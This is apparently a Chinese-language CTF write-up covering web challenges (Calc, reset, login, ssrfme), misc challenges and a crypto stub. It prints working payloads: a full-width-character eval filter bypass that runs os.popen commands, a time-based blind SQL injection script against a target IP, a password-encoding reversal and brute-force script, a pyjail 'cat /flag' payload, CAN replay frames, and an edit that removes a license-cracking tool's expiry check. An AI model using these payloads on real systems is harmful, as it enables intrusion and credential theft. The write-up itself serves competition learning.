本文最后更新于 415 天前，其中的信息可能已经有所发展或是发生改变。
Web
Calc
- 过滤 +，利用全角英文绕过
- 后台将以
eval执行，生成shell
# ｏｐｅｎ(ｂｙｔｅｓ((47,102,108,97,103)).ｄｅｃｏｄｅ()).ｒｅａｄ()
## shell 生成，正常输入payload
shell = f"__import__('os').popen('{input()}').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('ａｂｃｄｅｆｇｈｉｊｋｌｍｎｏｐｑｒｓｔｕｖｗｘｙｚ')
c = list('abcdefghijklmnopqrstuvwxyz')
assert len(b) == len(c)
for i in range(len(c)):
a = a.replace(c[i], b[i])
print(a)reset
题解
- .git 泄露获取文件
- 学习得知
.git文件结构，主要内容分布在objects文件夹- https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
- 写脚本
import zlib
import os
import re
dirs = os.listdir()
for dir in dirs:
if os.path.isdir(dir):
files = os.listdir(dir)
for f in files:
with open(os.path.join(dir, f), 'rb') as a:
data = zlib.decompress(a.read())
if data:
with open(f, 'wb') as b:
b.write(data)git大致结构
- 一共两个版本，得到两个主要文件
reset.php，upload.php reset.php关键代码
<?php
if (isset($_POST['id'])){
$id = $_POST['id'];
preg_match('/^[a-z0-9]{40}$/', $id) or die('Invalid commit id!');
system("git reset --hard $id");
}
>upload.php关键代码
<?php
if (isset($_FILES['files'])){
$fileType = $_FILES['file']['type'];
$fileName = $_POST['filename'] ?? 'none';
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$whitelist = array("image/gif", "image/png", "image/jpeg", "iamge/jpg");
# check type, size, error
in_array($fileType, $whitelist) or die("Invalid file!1");
$size < 20000 or die("Invalid fize!2");
$error > 0 and die($error);
# check filename
preg_match('/[a-zA-Z0-9_]{10,}$/', $filename) or die("Invalid file type!");
if (! move_uploadedFile($_FILES["file"]["tmp_name"], "./upload/", $fileName)){
die("Invaild failed.");
}
echo 'saved-> '.$fileName."\n";
}
>reset.php就是回退某个版本，upload.php为文件上传
login
题解
sql注入，得到用户名，密码，存在waf
str_replace(' ', '', $username);
str_replace('#', '', $username);
str_replace('-', '', $username);
str_replace('*', '', $username);
xadmin r7cVwbhc9TefbwK- 发包，得到提示，解出pwd明文，
password.php
/web-static/js/su/su.js，查看加密流程
- 简单分析和搜索可以发现，这个加密代码其实是
tplink的加密代码
def orgAuthPwd(pwd):
strDe = "RDpbLfCPsJZ7fiv"
dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
"sfQ1xtXcPcf1aT303wAQhv66qzW"
return securityEncode(pwd, strDe, dic)
def securityEncode(input1, input2, input3):
dictionary = input3
output = ""
cl = 0xBB
cr = 0xBB
len1 = len(input1)
len2 = len(input2)
lenDict = len(dictionary)
length = max(len1,len2)
for index in range(0,length):
cl = 0xBB
cr = 0xBB
if (index >= len1):
cr = ord(input2[index])
elif (index >= len2):
cl = ord(input1[index])
else:
cl = ord(input1[index])
cr = ord(input2[index])
output += dictionary[(cl ^ cr)%lenDict]
return output- 简单分析下可以发现，这个加密存在缺陷，会出现严重的碰撞问题，跑⼀下5位纯数字
发现111110个明⽂对应73010个密⽂，仅仅是纯数字就有⽐较严重的碰撞问题
跑⼀下4位数字⼤⼩写字⺟
更严重了，1400w明⽂只能对应177w密⽂
由于不知道明⽂位数所以也不太好直接爆破
那么开始写逆向函数，由于不知道密码位数，我们分析可以发现⻓度超出密码明⽂部分的结果只与
strDe[i]及pwd[-1]有关，那么我们只需要爆破猜测⻓度写出逆向脚本即可- 当测试⻓度为6时没有符合的结果，由于前端提示，⻓度也⾄少是5位，所以密码明⽂⻓度为5，接下来爆破即可
def orgAuthPwd(pwd):
strDe = "RDpbLfCPsJZ7fiv"
dic =
"yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
"sfQ1xtXcPcf1aT303wAQhv66qzW"
return securityEncode(pwd, strDe, dic)
def securityEncode(input1, input2, input3):
dictionary = input3
output = ""
cl = 0xBB
cr = 0xBB
len1 = len(input1)
len2 = len(input2)
lenDict = len(dictionary)
length = max(len1,len2)
for index in range(0,length):
cl = 0xBB
cr = 0xBB
if (index >= len1):
cr = ord(input2[index])
elif (index >= len2):
cl = ord(input1[index])
else:
cl = ord(input1[index])
cr = ord(input2[index])
output += dictionary[(cl ^ cr)%lenDict];
return output;
def revese(pwd,length):
ll=[]
import re
import string
strDe = "RDpbLfCPsJZ7fiv"
dic =
"yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+\
"TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+\
"wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+\
"sfQ1xtXcPcf1aT303wAQhv66qzW"
for i in range(len(pwd)):
l=[]
r=re.findall(pwd[i],dic)
x=0
if i<length:
for j in range(len(r)):
x=dic.index(pwd[i],x+1)
c=chr(x^ord(strDe[i]))
if c in string.printable:
l.append(c)
else:
for j in range(len(r)):
x=dic.index(pwd[i],x+1)
c=chr(x^0xbb)
if c in string.printable:
l.append(c)
ll.append(l)
return ll
import time
import requests
url='http://47.97.127.1:23840/'
flag=''
for i in range(1,16):
left=33
right=128
while right-left!=1:
mid=int((left+right)/2)
json ={
"method":"do",
"login":{
"username":"0\"^if((substr((select{space}binary{space}password{space}from{space}user),{i},1)>binary{space}{mid}),sleep(1),0);\0".format(i=i,mid=hex(mid), space=chr(9)),"password":"12345" }}
t1=time.time()
r=requests.post(url=url,json=json,) #proxies={'http':'http://127.0.0.1:8080'}
print(r.content)
t2=time.time()
if t2-t1 >1:
left=mid
else:
right=mid
flag+=chr(right)
print(flag)
flag='r7cVwbhc9TefbwK'
k=revese(flag,5)
print(k)
max_depth=5
p=[]
def ddp(s,depth):
global k
global max_depth
if depth == max_depth:
p.append(s)
return
for i in k[depth]:
ddp(s+i,depth+1)
ddp('',0)
for i in p:
print(i)
print(requests.get(url=url+'/password.php?password='+i).content)ssrfme
- 扫目录得到源代码
- 重定向请求没有过滤，用
file读取文件，读flag失败 - 利用
gopher探测服务，6379 redis没开，打mysql
- 执行
readflag获取flag
sql
题解
Misc
空头之王
题解
Airdrop取证，盘古石可以直接秒hash爆破手机号
证书里也有秘密
题解
- 找到项目
- https://github.com/Lz1y/xrayhex-crack
- 下载后修改
main.go源代码，将以下代码注释，用-p证书即可解析证书，第二个参数即为user_id
validTime, _ := time.Parse("2006-01-02 15:04:05", "2021-01-01 00:00:00")
nowTime := time.Now()
if nowTime.After(validTime) {
panic("本工具已失效")
}飞驰人生
题解
- 配置重放的环境，基于
ubuntu- https://www.anquanke.com/post/id/209141#h2-17
- https://github.com/zombieCraig/ICSim
- 发现存在攻击行为
- 速度暴涨
- 锁车门
244#000000A60000
19B#00000F000000
坐井观天
题解
- 简单的
pyjail
eval(input())
__import__('os').popen('cat /flag').read()
Crypto
ALL
题解
- From 冰神
